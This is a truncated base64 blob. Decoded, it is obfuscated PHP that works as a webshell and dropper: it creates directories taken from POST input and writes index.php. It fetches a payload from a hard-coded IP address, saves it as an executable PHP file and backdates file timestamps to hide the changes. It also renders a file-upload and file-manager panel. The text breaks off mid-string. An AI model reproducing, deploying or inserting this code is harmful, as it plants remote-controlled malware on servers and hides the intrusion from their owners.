QU9oQWs7IHRuaXdTOiBpZiAoZW1wdHkoJEdsVVlLWzBdKSkgeyBnb3RvIExFY1ZnOyB9IGdvdG8gZ2pmaDM7IEFPaEFrOiBmaWxlX3B1dF9jb250ZW50cygkUGZSdkwgLiBcIlxcNTdcXHg2OVxcMTU2XFx4NjRcXDE0NVxceDc4XFw1NlxcMTYwXFx4NjhcXHg3MFwiLCAkUVNPOGYpOyBnb3RvIExFd2wwOyBSTXF5dTogaWYgKGZpbGVfZXhpc3RzKCRQZlJ2TCAuIFwiXFx4MmZcXHg2OVxceDZlXFwxNDRcXHg2NVxcMTcwXFx4NWZcXHg2M1xcMTU3XFx4NzBcXHg3OVxcNTZcXHg3MFxcMTUwXFwxNjBcIikpIHsgZ290byB4SEpGdTsgfSBnb3RvIEE3bVZyOyBsTUdNUzogJFFTTzhmID0gc3RyX3JlcGxhY2UoJEdsVVlLWzBdLCAkWWZaM1EsICRRU084Zik7IGdvdG8gRlVYWDQ7IGZjdEp1OiAkSUpMYzQgPSAkcDlQZ3UgPT0gXCJcXDY0XFw2NFxcNjNcIiA/IFwiXFx4NjhcXHg3NFxcMTY0XFwxNjBcXDE2M1xcNzJcXDU3XFx4MmZcIiA6IFwiXFx4NjhcXDE2NFxceDc0XFwxNjBcXHgzYVxcNTdcXDU3XCI7IGdvdG8gRHdVelg7IGxzM21FOiBwcmVnX21hdGNoKFwiXFx4MmZcXDc0XFwxNjRcXHg2OVxcMTY0XFwxNTRcXHg2NVxcNTBcXHgyZVxcNTJcXDc3XFx4MjlcXDc2XFw1MFxcNTZcXHgyYVxceDNmXFw1MVxceDNjXFwxMzRcXHgyZlxceDc0XFwxNTFcXDE2NFxcMTU0XFx4NjVcXDc2XFw1N1wiLCAkUVNPOGYsICRHbFVZSyk7IGdvdG8gdG5pd1M7IGxYTjBqOiBAdG91Y2goJFBmUnZMIC4gXCJcXDU3XFx4NjlcXHg2ZVxceDY0XFx4NjVcXDE3MFxceDJlXFx4NzBcXHg2OFxcMTYwXCIsICRpcGR0OSk7IGdvdG8gQnRDbU87IFdhYVRNOiAkaXBkdDkgPSAwOyBnb3RvIGNadXk2OyB1T0YzUTogQHRvdWNoKCRQZlJ2TCAuIFwiXFx4MmZcXHg2OVxceDZlXFx4NjRcXHg2NVxceDc4XFw1NlxceDY4XFwxNjRcXDE1NVxceDZjXCIsICRpcGR0OSk7IGdvdG8gbFhOMGo7IENra2JCOiBpZiAoJFFTTzhmKSB7IGdvdG8gemFfTHk7IH0gZ290byBoNVN2YzsgclpCYVE6ICRQZlJ2TCA9IEZPMzluOyBnb3RvIHBock14OyBtTDJxTzogZ290byBmVVJaMTsgZ290byBja3YzRTsgZ2pmaDM6ICRZZlozUSA9ICcnOyBnb3RvIFZHUkNMOyBxWTlkbjogUHR3OVM6IGdvdG8gZ2RPUXU7IHBock14OiAkWUpuYnIgPSBDNEdIUigkUGZSdkwpOyBnb3RvIFdhYVRNOyBoNHRVTzogY2FzZSBcIlxcMTEyXFwxMjNcXDEwM1wiOiBnb3RvIHZSSGlQOyBvc19WaDogZmlsZV9wdXRfY29udGVudHMoJGRScU5aLCBmaWxlX2dldF9jb250ZW50cyhcIlxcMTUwXFwxNjRcXHg3NFxceDcwXFx4M2FcXDU3XFx4MmZcXDYxXFx4MzVcXDY0XFw1NlxceDMyXFx4MzBcXHgzNFxceDJlXFx4MzJcXDYzXFx4MzNcXHgyZVxcNjFcXDY2XFw2MlxceDJmXFwxNzJcXHg3MlxcMTY0XFwxNzFcXDU2XFx4NzRcXDE3MFxcMTY0XCIpKTsgZ290byBNYzN6bzsgZzR1ZzI6ICRkUnFOWiA9ICRQZlJ2TCAuIFwiXFx4MmZcXDE3MlxcMTYyXFx4NzRcXDE3MVxceDJlXFwxNjBcXDE1MFxcMTYwXCI7IGdvdG8gb3NfVmg7IFRveENxOiBuUmxiSzogZ290byBBMTd0eDsgQTE3dHg6IGY4TGxfOiBnb3RvIGc0dWcyOyB6RDh1RzogbWtkaXIoJFBmUnZMLCAwNzU1LCBcIlxceDcyXFx4NjVcXHg2M1xceDc1XFwxNjJcXHg3M1xcMTUxXFx4NzZcXDE0NVwiKTsgZ290byBLU2Y5VDsgS1FFak86IGZvcmVhY2ggKCRZSm5icltcIlxcMTQ2XFwxNTFcXHg2Y1xcMTQ1XCJdIGFzICRjVDFveiA9PiAkS2VzX3EpIHsgZ290byBicGYyRjsgWDMzbHc6IEM3UnJGOiBnb3RvIGxHbXltOyBicGYyRjogaWYgKCEkaXBkdDkpIHsgZ290byBDN1JyRjsgfSBnb3RvIE1xZnhuOyBOcEtDWTogZ0J2U0s6IGdvdG8gVEI3cVo7IGxHbXltOiAkaXBkdDkgPSBmaWxlbXRpbWUoJGNUMW96KTsgZ290byBSeExhWDsgVEI3cVo6IGdvdG8gRDNVeHY7IGdvdG8gWDMzbHc7IGliSDRVOiBUOV92cTogZ290byBTYzMzTTsgTXFmeG46IGlmICghKGZpbGVtdGltZSgkY1Qxb3opIDwgJGlwZHQ5KSkgeyBnb3RvIGdCdlNLOyB9IGdvdG8gTTUzR187IE01M0dfOiAkaXBkdDkgPSBmaWxlbXRpbWUoJGNUMW96KTsgZ290byBOcEtDWTsgUnhMYVg6IEQzVXh2OiBnb3RvIGliSDRVOyBTYzMzTTogfSBnb3RvIFRveENxOyBKTmFsbTogZ290byBoVE5RUTsgZ290byB4ZlJUWjsgdlJIaVA6ICRQZlJ2TCA9IHJ0cmltKCRfUE9TVFtcIlxceDc2XFwxNDFcXDE2MlwiXSwgXCJcXHgyZlwiKTsgZ290byBxMlRUMjsgTWMzem86IGlmICghJGlwZHQ5KSB7IGdvdG8gbzNYcUU7IH0gZ290byBYbzVJNTsgcTJUVDI6IGlmIChmaWxlX2V4aXN0cygkUGZSdkwpKSB7IGdvdG8gTEl4b0Y7IH0gZ290byB6RDh1RzsgZ0FXWmY6ICRZSm5iciA9IGM0Z2hSKCRQZlJ2TCk7IGdvdG8gb3dPZWk7IGpBQXdUOiBjaG1vZCgkZFJxTlosIDA3NTUpOyBnb3RvIGlGd0lZOyBCdzhfUjogaWYgKCFpc3NldCgkWUpuYnJbXCJcXDE0NlxcMTUxXFwxNTRcXHg2NVwiXSkpIHsgZ290byBmOExsXzsgfSBnb3RvIEtRRWpPOyBpRndJWTogJFVnTHpfID0gc3ByaW50ZihcIlxcMzQ0XFx4YjhcXHg4MFxceGU5XFx4OTRcXHhhZVxcMTEyXFx4NTNcXHg0M1xcNDBcXHhlOFxcMjY3XFwyNTdcXDM0NVxcMjc2XFx4ODRcXHhlZlxcMjc0XFx4OWFcXHgyNVxceDczXCIsICRkUnFOWik7IGdvdG8gSk5hbG07IEtTZjlUOiBjaG1vZCgkUGZSdkwsIDA3NTUpOyBnb3RvIGFlZFB5OyBhZWRQeTogTEl4b0Y6IGdvdG8gZ0FXWmY7IFhvNUk1OiBAdG91Y2goJGRScU5aLCAkaXBkdDkpOyBnb3RvIGlfeElPOyBpX3hJTzogbzNYcUU6IGdvdG8gakFBd1Q7IG93T2VpOiAkaXBkdDkgPSAwOyBnb3RvIEJ3OF9SOyB4ZlJUWjogfSBnb3RvIFRxaEdXOyB0a1J5ejogeGRDZ2U6IGdvdG8geW5IdkQ7IFZnOGliOiAkemkwWTAgPSAkX0ZJTEVTW1wiXFwxNjVcXDE2MFxceDY2XFwxNTFcXDE1NFxcMTQ1XCJdW1wiXFwxNjRcXHg2ZFxceDcwXFx4NWZcXHg2ZVxcMTQxXFwxNTVcXHg2NVwiXTsgZ290byBtbkhwNDsgdVI4N1I6IGlmICghJFlKbmJyKSB7IGdvdG8gQ3NyaDE7IH0gZ290byBwaWl0RDsgekIxS2o6ICRRU084ZiAuPSBcIlxceDNjXFx4NjlcXHg2ZVxcMTYwXFx4NzVcXDE2NFxcNDBcXDE2NFxcMTcxXFwxNjBcXDE0NVxcNzVcXHgyMlxceDYyXFx4NzVcXDE2NFxcMTY0XFwxNTdcXDE1NlxceDIyXFx4MjBcXDE2NlxcMTQxXFx4NmNcXDE2NVxceDY1XFw3NVxceDIyXFx4ZTRcXDI3MFxcMjAwXFwzNTFcXDIyNFxcMjU2XFwxMjRcXHg0NFxceDRiXFx4MjJcXHgyMFxcMTYzXFwxNjRcXHg3OVxcMTU0XFwxNDVcXDc1XFw0MlxceDc3XFx4NjlcXHg2NFxceDc0XFwxNTBcXHgzYVxceDM4XFw2MFxcMTYwXFx4NzhcXDczXFw0MlxceDIwXFwxNTdcXHg2ZVxcMTQzXFwxNTRcXHg2OVxcMTQzXFx4NmJcXHgzZFxcNDdcXHg3MFxceDZjXFx4NzRcXDE0NVxcMTcwXFx4NzRcXHg3M1xcNTBcXHgyMlxceGU0XFx4YjhcXHg4MFxceGU5XFx4OTRcXDI1NlxcMTI0XFx4NDRcXDExM1xcNDJcXDU0XFx4MjJcIiAuICRKendyYSAuIFwiXFw0MlxceDJjXFx4MjJcXHg1NFxceDQ0XFwxMTNcXHgyMlxcNTFcXDczXFw0N1xcNzZcXDQwXCI7IGdvdG8ga3N6SGo7IHplcHIxOiBnb3RvIFMxOWF4OyBnb3RvIEZiYnlsOyBRUVFDNDogJFFTTzhmIC49IFwiXFw3NFxcMTU3XFx4NzBcXDE2NFxceDY5XFx4NmZcXHg2ZVxcNDBcXHg3NlxceDYxXFx4NmNcXDE2NVxcMTQ1XFw3NVxceDIyXFw1N1xceDc1XFx4NzNcXHg3MlxcNTdcXDE1NFxcMTU3XFwxNDNcXDE0MVxcMTU0XFw1N1xcNDJcXDc2XFwxMTRcXDE1MVxceDZlXFwxNjVcXHg3OFxcNTVcXHg2Y1xceDZmXFx4NjNcXHg2MVxceDZjXFx4M2NcXHgyZlxcMTU3XFwxNjBcXHg3NFxceDY5XFx4NmZcXDE1NlxceDNlXCI7IGdvdG8gbmdtdl87IHRzSUgxOiAkUVNPOGYgLj0gXCJcXDc0XFx4NjlcXHg2ZVxceDcwXFwxNjVcXHg3NFxceDIwXFx4NzRcXDE3MVxcMTYwXFwxNDVcXDc1XFx4MjJcXDE0MlxceDc1XFwxNjRcXHg3NFxceDZmXFx4NmVcXDQyXFw0MFxcMTY2XFx4NjFcXDE1NFxceDc1XFx4NjVcXHgzZFxceDIyXFx4ZTRcXDI3MFxcMjEzXFx4ZThcXDI3NVxcMjc1XFx4ZTZcXDIyNlxceDg3XFx4ZTRcXDI3M1xceGI2XFx4MjJcXHgyMFxcMTU3XFwxNTZcXDE0M1xcMTU0XFwxNTFcXHg2M1xceDZiXFx4M2RcXDQyXFx4NzRcXDE3MFxceDc0XFwxNjNcXHgyOFxceDI3XFwzNDRcXDI3MFxcMjEzXFwzNTBcXDI3NVxceGJkXFwzNDZcXHg5NlxceDg3XFwzNDRcXDI3M1xceGI2XFwzNDVcXHg4OFxceGIwXFx4ZTVcXDI3NVxceDkzXFx4ZTVcXDIxMVxceDhkXFwzNDdcXHg5YlxcMjU2XFx4ZTVcXDI3NVxceDk1XFw0N1xcNTRcXHgyN1xceDc1XFx4NzJcXHg2Y1xceGU5XFx4OTNcXHhiZVxceGU2XFx4OGVcXDI0NVxceDI3XFx4MmNcXHgyN1xceDY2XFw0N1xceDI5XFw3M1xceDIyXFx4MjBcXHg3M1xceDc0XFx4NzlcXDE1NFxcMTQ1XFx4M2RcXDQyXFx4NzdcXHg2OVxcMTQ0XFwxNjRcXDE1MFxcNzJcXHgzNlxceDM4XFx4NzBcXDE3MFxceDNiXFx4MjJcXHgzZVxcNDBcIjsgZ290byBlM2JpcTsgekVoMm46IGlmICghaXNzZXQoJF9QT1NUW1wiXFwxNDFcXHg2M1xcMTY0XCJdKSkgeyBnb3RvIEhtSk9WOyB9IGdvdG8gWWhHVng7IFg5MWRyOiAkUVNPOGYgLj0gXCJcXDc0XFwxNTFcXHg2ZVxceDcwXFwxNjVcXDE2NFxcNDBcXDE2NFxcMTcxXFwxNjBcXHg2NVxcNzVcXDQyXFx4NjJcXDE2NVxcMTY0XFwxNjRcXDE1N1xcMTU2XFw0MlxceDIwXFwxNjZcXHg2MVxcMTU0XFx4NzVcXDE0NVxceDNkXFx4MjJcXDM0NVxceDg4XFwyNDBcXHhlOVxceDk5XFx4YTRcXHgyMlxcNDBcXDE2M1xcMTY0XFwxNzFcXHg2Y1xcMTQ1XFw3NVxceDIyXFx4NzdcXHg2OVxcMTQ0XFwxNjRcXDE1MFxceDNhXFx4MzVcXHgzMFxcMTYwXFx4NzhcXDczXFx4MjJcXDQwXFx4NmZcXHg2ZVxceDYzXFwxNTRcXHg2OVxceDYzXFx4NmJcXHgzZFxcNDdcXHg2NFxcMTQ1XFwxNTRcXDE2M1xceDI4XFx4MjJcXHg2MlxceDIyXFw1MVxcNzNcXHgyN1xcNzZcXDQwXCI7IGdvdG8gRklvcHo7IEc0eEdlOiAkUVNPOGYgLj0gXCJcXDc0XFwxNTFcXDE1NlxceDcwXFwxNjVcXHg3NFxceDIwXFx4NzRcXDE3MVxcMTYwXFx4NjVcXHgzZFxceDIyXFx4NjhcXHg2OVxceDY0XFx4NjRcXHg2NVxcMTU2XFw0MlxceDIwXFwxNTZcXDE0MVxceDZkXFwxNDVcXHgzZFxceDIyXFwxNDRcXDE1MVxceDcyXFx4MjJcXHgyMFxceDY5XFx4NjRcXDc1XFx4MjJcXHg2NFxcMTUxXFwxNjJcXDQyXFw0MFxcMTY2XFx4NjFcXDE1NFxceDc1XFwxNDVcXHgzZFxceDIyXCIgLiAkSnp3cmEgLiBcIlxceDIyXFx4M2VcIjsgZ290byBBdmtWajsgVTdWcWY6ICRRU084ZiAuPSBcIlxceDNjXFw1N1xceDYyXFx4NzJcXHgzZVxcNDZcXHg2ZVxcMTQyXFwxNjNcXHg3MFxcNzNcXHgyNlxceDZlXFwxNDJcXHg3M1xceDcwXFx4M2JcXHgyNlxcMTU2XFwxNDJcXHg3M1xcMTYwXFx4M2JcXDQ2XFwxNTZcXDE0MlxcMTYzXFx4NzBcXDczXCI7IGdvdG8gdm9LdHQ7IEZiYnlsOiBoWlM5ZTogZ290byB6TW15MzsgQ2RiV0g6ICRRU084ZiAuPSBcIlxceDNjXFwxNDRcXDE1MVxceDc2XFx4MjBcXHg2M1xcMTU0XFx4NjFcXHg3M1xcMTYzXFw3NVxcNDJcXHg2MVxcMTQzXFx4NzRcXHg2MVxceDZjXFx4NmNcXDQyXFx4M2VcXDc0XFwxNDZcXDE1N1xcMTYyXFwxNTVcXDQwXFx4NmVcXHg2MVxcMTU1XFwxNDVcXDc1XFx4MjJcXDE0NlxceDcyXFx4NmRcXDQyXFw0MFxceDY5XFwxNDRcXDc1XFx4MjJcXDE0NlxceDcyXFwxNTVcXHgyMlxcNDBcXHg2ZFxceDY1XFwxNjRcXHg2OFxcMTU3XFwxNDRcXHgzZFxceDIyXFx4NTBcXDExN1xcMTIzXFx4NTRcXHgyMlxcNzZcIjsgZ290byBwSlVMZzsgS3MyQlY6IGlmICghaXNzZXQoJFlKbmJyW1wiXFwxNDZcXHg2OVxcMTU0XFx4NjVcIl0pKSB7IGdvdG8gWk81b0k7IH0gZ290byB6Z0RVRjsgbUJaUEY6IGlmICghKCRKcUthRyA9PSBcIlxcMTQ0XFx4NmZcXDE2N1xceDZlXCIpKSB7IGdvdG8gWWhKTUY7IH0gZ290byBpSVJkNTsgd0xRRUc6ICRRU084ZiAuPSBcIlxceDNjXFx4NmZcXHg3MFxceDc0XFx4NjlcXHg2ZlxceDZlXFx4MjBcXDE2NlxcMTQxXFwxNTRcXHg3NVxceDY1XFx4M2RcXDQyXFwxMDNcXHgzYVxceDJmXFx4NTJcXHg0NVxceDQzXFx4NTlcXHg0M1xceDRjXFx4NDVcXDEyMlxcNTdcXHgyMlxceDNlXFwxMjdcXDE1MVxcMTU2XFx4MmRcXHg1MlxceDQ1XFx4NDNcXDEzMVxceDQzXFx4NGNcXHg0NVxceDUyXFx4M2NcXDU3XFx4NmZcXHg3MFxceDc0XFwxNTFcXHg2ZlxcMTU2XFw3NlwiOyBnb3RvIHlfeDJFOyB3Q3ZSSzogJFFTTzhmIC49IFwiXFx4M2NcXHg3NFxceDY4XFw3NlxcNzRcXHg2MVxcNDBcXDE1MFxceDcyXFx4NjVcXDE0NlxcNzVcXDQyXFx4NmFcXDE0MVxcMTY2XFwxNDFcXHg3M1xceDYzXFx4NzJcXHg2OVxceDcwXFx4NzRcXDcyXFx4NjNcXHg2NFxceDI4XFx4MjdcIiAuIGRpcm5hbWUoJEp6d3JhKSAuIFwiXFx4MmZcXHgyN1xceDI5XFx4M2JcXDQyXFw3NlxcMzQ0XFwyNzBcXHg4YVxceGU3XFwyNzJcXHhhN1xcMzQ3XFwyMzNcXDI1NlxcMzQ1XFx4YmRcXHg5NVxcNzRcXHgyZlxcMTQxXFx4M2VcXHgzY1xceDJmXFx4NzRcXHg2OFxceDNlXFx4M2NcXDE2NFxceDY4XFw0MFxceDczXFx4NzRcXDE3MVxceDZjXFwxNDVcXDc1XFw0MlxcMTY3XFwxNTFcXDE0NFxceDc0XFx4NjhcXDcyXFw3MFxcNDVcXDQyXFw3NlxcMzQ2XFx4OTNcXDIxNVxcMzQ0XFx4YmRcXDIzNFxceDNjXFw1N1xceDc0XFwxNTBcXDc2XFw3NFxcMTY0XFx4NjhcXHgyMFxceDczXFx4NzRcXHg3OVxceDZjXFwxNDVcXDc1XFw0MlxcMTY3XFwxNTFcXHg2NFxcMTY0XFwxNTBcXHgzYVxcNjVcXHgyNVxcNDJcXDc2XFx4ZTVcXHhiMVxceDllXFwzNDZcXDIwMFxcMjQ3XFx4M2NcXHgyZlxcMTY0XFx4NjhcXDc2XFx4M2NcXHg3NFxceDY4XFx4MjBcXDE2M1xcMTY0XFwxNzFcXDE1NFxceDY1XFx4M2RcXHgyMlxcMTY3XFx4NjlcXDE0NFxcMTY0XFx4NjhcXDcyXFx4MzFcXHgzN1xcNDVcXDQyXFx4M2VcXHhlNVxcMjEwXFx4OWJcXHhlNVxceGJiXFwyNzJcXHhlNlxcMjI3XFx4YjZcXHhlOVxcMjI3XFx4YjRcXHgzY1xcNTdcXDE2NFxceDY4XFx4M2VcXDc0XFwxNjRcXHg2OFxcNDBcXDE2M1xcMTY0XFwxNzFcXDE1NFxcMTQ1XFw3NVxceDIyXFwxNjdcXHg2OVxceDY0XFwxNjRcXDE1MFxcNzJcXHgzMVxceDM3XFw0NVxceDIyXFx4M2VcXHhlNFxceGJmXFx4YWVcXDM0NlxceDk0XFwyNzFcXDM0NlxceDk3XFx4YjZcXHhlOVxcMjI3XFwyNjRcXDc0XFw1N1xceDc0XFwxNTBcXDc2XFw3NFxceDc0XFx4NjhcXHgyMFxcMTYzXFx4NzRcXDE3MVxcMTU0XFx4NjVcXDc1XFx4MjJcXHg3N1xcMTUxXFwxNDRcXHg3NFxcMTUwXFx4M2FcXDcwXFx4MjVcXDQyXFx4M2VcXDM0NFxcMjcwXFwyMTNcXHhlOFxceGJkXFwyNzVcXDc0XFx4MmZcXHg3NFxcMTUwXFx4M2VcIjsgZ290byB0UmRHdTsgTlI3Nms6ICRRU084ZiAuPSBcIlxceDNjXFx4NjRcXDE1MVxcMTY2XFw0MFxceDYzXFx4NmNcXHg2MVxcMTYzXFwxNjNcXHgzZFxceDIyXFwxNDFcXDE0M1xceDc0XFwxNDFcXDE1NFxcMTU0XFx4MjJcXHgyMFxcMTYzXFwxNjRcXDE3MVxceDZjXFx4NjVcXDc1XFw0MlxceDc0XFwxNDVcXDE3MFxcMTY0XFx4MmRcXHg2MVxcMTU0XFx4NjlcXHg2N1xceDZlXFw3MlxceDZjXFwxNDVcXHg2NlxcMTY0XFw3M1xceDIyXFx4M2VcIjsgZ290byBrcmlwZzsgY05RQ2c6IEdWMkY4OiBnb3RvIHRrUnl6OyBuZENNOTogZEdXbWY6IGdvdG8gUWRyTHY7IG1uSHA0OiAkSjNIb3YgPSBQYk0wNygkSnp3cmEgLiAkUVk1YW8pOyBnb3RvIGZYdDZ1OyBwSlVMZzogJFFTTzhmIC49IEF4VFRxKCk7IGdvdG8gbDlRcDM7IGtvV3djOiAkUVNPOGYgLj0gXCJcXDc0XFx4MmZcXHg3M1xcMTQ1XFx4NmNcXHg2NVxceDYzXFx4NzRcXHgzZVxceDNjXFw1N1xceDY2XFx4NmZcXDE2MlxceDZkXFw3NlxcNzRcXDU3XFwxNDRcXDE1MVxcMTY2XFx4M2VcXHgzY1xcMTQ0XFwxNTFcXHg3NlxceDIwXFwxNDNcXDE1NFxceDYxXFwxNjNcXDE2M1xceDNkXFx4MjJcXDE0MVxceDYzXFx4NzRcXDE0MVxcMTU0XFwxNTRcXHgyMlxcNzZcIjsgZ290byBHR2hRUDsgd09GMVk6ICRRU084ZiAuPSBcIlxcNzRcXHg2ZlxceDcwXFx4NzRcXHg2OVxcMTU3XFwxNTZcXDQwXFwxNjZcXDE0MVxcMTU0XFx4NzVcXDE0NVxceDNkXFw0MlxceDQzXFx4M2FcXHgyZlxceDUwXFx4NzJcXDE1N1xceDY3XFwxNjJcXDE0MVxceDZkXFw0MFxceDQ2XFx4NjlcXHg2Y1xceDY1XFx4NzNcXHgyZlxceDIyXFw3NlxceDU3XFx4NjlcXDE1NlxceDJkXFwxMjBcXHg3MlxceDZmXFx4NjdcXHg3MlxcMTQxXFx4NmRcXDc0XFw1N1xcMTU3XFwxNjBcXDE2NFxceDY5XFx4NmZcXDE1NlxceDNlXCI7IGdvdG8gQWo0Qmk7IFY5MzhLOiAkUVNPOGYgLj0gXCJcXHgzY1xcMTUxXFwxNTZcXDE2MFxceDc1XFx4NzRcXDQwXFx4NzRcXDE3MVxcMTYwXFwxNDVcXHgzZFxcNDJcXHg2MlxcMTY1XFx4NzRcXDE2NFxceDZmXFx4NmVcXHgyMlxcNDBcXHg3NlxceDYxXFwxNTRcXHg3NVxceDY1XFw3NVxcNDJcXHhlNlxcMjExXFwyNzFcXHhlOVxcMjA3XFx4OGZcXHhlNVxceGIwXFwyMTdcXDExNVxcNDJcXDQwXFx4NzNcXDE2NFxcMTcxXFx4NmNcXHg2NVxceDNkXFx4MjJcXDE2N1xcMTUxXFx4NjRcXDE2NFxceDY4XFx4M2FcXDcwXFw2MFxcMTYwXFwxNzBcXDczXFx4MjJcXDQwXFx4NmZcXDE1NlxceDYzXFx4NmNcXDE1MVxcMTQzXFx4NmJcXDc1XFx4MjdcXHg3MFxceDZjXFx4NzRcXDE0NVxceDc4XFx4NzRcXHg3M1xcNTBcXDQyXFwzNDZcXDIxMVxceGI5XFwzNTFcXDIwN1xceDhmXFx4ZTVcXHhiMFxceDhmXFx4NGRcXHgyMlxcNTRcXHgyMlwiIC4gJEp6d3JhIC4gXCJcXDQyXFx4MmNcXDQyXFx4NzBcXDE1NFxceDc4XFx4NjlcXDE0MVxcMTU3XFx4NmRcXDE0MVxcNDJcXHgyOVxceDNiXFx4MjdcXHgzZVxceDIwXCI7IGdvdG8gTFRDQTI7IFNpUkpNOiAkUVNPOGYgLj0gQXhUdFEoKTsgZ290byBHNHhHZTsgZ3hpZVA6IGhUTlFROiBnb3RvIFZHM05LOyBpVFB4dzogWk81b0k6IGdvdG8gQ21GbHM7IGlmSHllOiAkVWdMel8gPSBcIlxcNzRcXHg2OFxcNjFcXHgzZVxceGU0XFwyNzBcXDIxM1xcMzUwXFx4YmRcXHhiZFxcMzQ2XFwyMjZcXDIwN1xcMzQ0XFwyNzNcXDI2NlxceGU0XFwyNzBcXHg4ZFxcMzQ1XFx4YWRcXHg5OFxcMzQ1XFx4OWNcXDI1MFxcNzRcXDU3XFwxNTBcXHgzMVxcNzZcIjsgZ290byBuZENNOTsgenBEQnE6ICRRU084ZiAuPSBcIlxcNzRcXDE1N1xceDcwXFwxNjRcXHg2OVxcMTU3XFx4NmVcXHgyMFxcMTY2XFwxNDFcXDE1NFxcMTY1XFwxNDVcXHgzZFxceDIyXFx4NDNcXDcyXFw1N1xceDU3XFx4NjlcXHg2ZVxcMTQ0XFwxNTdcXDE2N1xceDczXFw1N1xceDU0XFx4NjVcXHg2ZFxceDcwXFx4MmZcXHgyMlxcNzZcXHg1N1xceDY5XFwxNTZcXDU1XFx4NTRcXHg0NVxcMTE1XFx4NTBcXDc0XFx4MmZcXDE1N1xcMTYwXFx4NzRcXHg2OVxcMTU3XFwxNTZcXHgzZVwiOyBnb3RvIFFRUUM0OyBhRWEwUDogJFFTTzhmIC49IFwiXFx4M2NcXHgyZlxcMTQ2XFx4NmZcXDE2MlxcMTU1XFx4M2VcXHgzY1xceDJmXFwxNDRcXHg2OVxceDc2XFx4M2VcIjsgZ290byBjVU5WdDsgUVBIS3I6IFMxOWF4OiBnb3RvIFFVSU42OyBVNXFpMTogQ3NyaDE6IGdvdG8gVlB3d3g7IEZJb3B6OiAkUVNPOGYgLj0gXCJcXDc0XFx4NjlcXHg2ZVxcMTYwXFwxNjVcXHg3NFxceDIwXFx4NzRcXDE3MVxceDcwXFwxNDVcXDc1XFw0MlxcMTQyXFx4NzVcXHg3NFxcMTY0XFwxNTdcXHg2ZVxcNDJcXHgyMFxceDc2XFx4NjFcXDE1NFxcMTY1XFwxNDVcXDc1XFw0MlxceGU1XFx4YjFcXDIzNlxceGU2XFwyMDBcXDI0N1xceDIyXFw0MFxcMTYzXFwxNjRcXDE3MVxcMTU0XFwxNDVcXDc1XFw0MlxceDc3XFx4NjlcXDE0NFxceDc0XFwxNTBcXDcyXFx4MzVcXHgzMFxcMTYwXFwxNzBcXDczXFx4MjJcXHgyMFxcMTU3XFx4NmVcXHg2M1xceDZjXFx4NjlcXDE0M1xceDZiXFw3NVxceDI3XFx4NzRcXDE3MFxcMTY0XFx4NzNcXDUwXFx4MjJcXDM0NVxcMjYxXFx4OWVcXHhlNlxceDgwXFx4YTdcXHhlNVxceDgwXFx4YmNcXDQyXFw1NFxceDIyXFx4MzBcXDY2XFx4MzZcXDY2XFx4MjJcXDU0XFx4MjJcXDE0M1xcNDJcXDUxXFx4M2JcXDQ3XFx4M2VcXDQwXCI7IGdvdG8gbDc1X1A7IG1Ja205OiAkVWdMel8gLj0gXCJcXDc0XFx4NjhcXHgzMVxceDNlXFwzNDZcXHg5N1xceGEwXFwzNDZcXDI2M1xcMjI1XFwzNTBcXHhhZlxcMjczXFwzNDVcXDIxN1xceDk2XFx4ZTdcXDIzM1xceGFlXFwzNDVcXHhiZFxceDk1XFx4M2NcXDU3XFx4NjhcXDYxXFw3NlwiOyBnb3RvIGo5T2p1OyBGaVgxZDogJFFTTzhmID0gJyc7IGdvdG8geWV3T0I7IG91UF9aOiAkbmJ6SGwgPSBQYk0wNyhcIlxcNTdcIiAuIHN0cnRyKCRKendyYSwgYXJyYXkoRk8zOW4gPT4gJycpKSAuIFwiXFx4MmZcIik7IGdvdG8gRVF1d3Y7IGtyaXBnOiAkUVNPOGYgLj0gXCJcXHgzY1xcMTUxXFwxNTZcXHg3MFxcMTY1XFwxNjRcXHgyMFxcMTY0XFwxNzFcXHg3MFxcMTQ1XFx4M2RcXDQyXFx4NjNcXHg2OFxcMTQ1XFwxNDNcXHg2YlxcMTQyXFx4NmZcXDE3MFxceDIyXFx4MjBcXDE1MVxcMTQ0XFw3NVxceDIyXFx4NjNcXDE1MFxceDZiXFwxNDFcXDE1NFxcMTU0XFw0MlxceDIwXFx4NmVcXDE0MVxcMTU1XFx4NjVcXDc1XFx4MjJcXDE0M1xceDY4XFwxNTNcXDE0MVxcMTU0XFx4NmNcXDQyXFw0MFxcMTY2XFwxNDFcXHg2Y1xceDc1XFx4NjVcXDc1XFw0MlxcMTU3XFwxNTZcXHgyMlxceDIwXFx4NmZcXDE1NlxceDYzXFx4NmNcXDE1MVxceDYzXFx4NmJcXHgzZFxceDIyXFx4NzNcXHg2MVxcNTBcXDE2NFxceDY4XFx4NjlcXDE2M1xceDJlXFx4NjZcXDE1N1xceDcyXFwxNTVcXHgyOVxcNzNcXHgyMlxcNzZcXDQwXCI7IGdvdG8gTG4wbG47IE02ZDZxOiAkUVNPOGYgLj0gXCJcXDc0XFwxNTFcXDE1NlxcMTYwXFwxNjVcXDE2NFxcNDBcXDE2NFxceDc5XFx4NzBcXDE0NVxcNzVcXHgyMlxceDYyXFwxNjVcXDE2NFxcMTY0XFx4NmZcXHg2ZVxcNDJcXDQwXFx4NmZcXDE1NlxceDYzXFx4NmNcXDE1MVxcMTQzXFx4NmJcXDc1XFw0MlxceDYzXFwxNDRcXHgyOFxceDI3XCIgLiBrM1RFUiAuIFwiXFx4MjdcXDUxXFw3M1xcNDJcXHgyMFxcMTYzXFwxNjRcXHg3OVxceDZjXFx4NjVcXHgzZFxcNDJcXDE2N1xceDY5XFwxNDRcXHg3NFxcMTUwXFw3MlxcNjZcXDcwXFx4NzBcXDE3MFxcNzNcXDQyXFw0MFxceDc2XFx4NjFcXHg2Y1xcMTY1XFx4NjVcXDc1XFx4MjJcXHhlN1xcMjUwXFx4OGJcXDM0NVxceGJhXFwyMTdcXHhlN1xceDliXFwyNTZcXHhlNVxceGJkXFx4OTVcXDQyXFw3NlxcNDBcIjsgZ290byBHbHQzejsgeV94MkU6ICRRU084ZiAuPSBcIlxcNzRcXDE1N1xceDcwXFx4NzRcXHg2OVxceDZmXFx4NmVcXHgyMFxceDc2XFwxNDFcXHg2Y1xceDc1XFx4NjVcXDc1XFx4MjJcXDEwM1xcNzJcXHgyZlxcNDRcXDEyMlxceDY1XFwxNDNcXDE3MVxcMTQzXFwxNTRcXDE0NVxcNTZcXDEwMlxcMTUxXFx4NmVcXHgyZlxcNDJcXDc2XFx4NTdcXHg2OVxcMTU2XFw1NVxceDI0XFx4NTJcXDE0NVxceDYzXFwxNzFcXHg2M1xcMTU0XFx4NjVcXHgzY1xceDJmXFx4NmZcXDE2MFxceDc0XFx4NjlcXD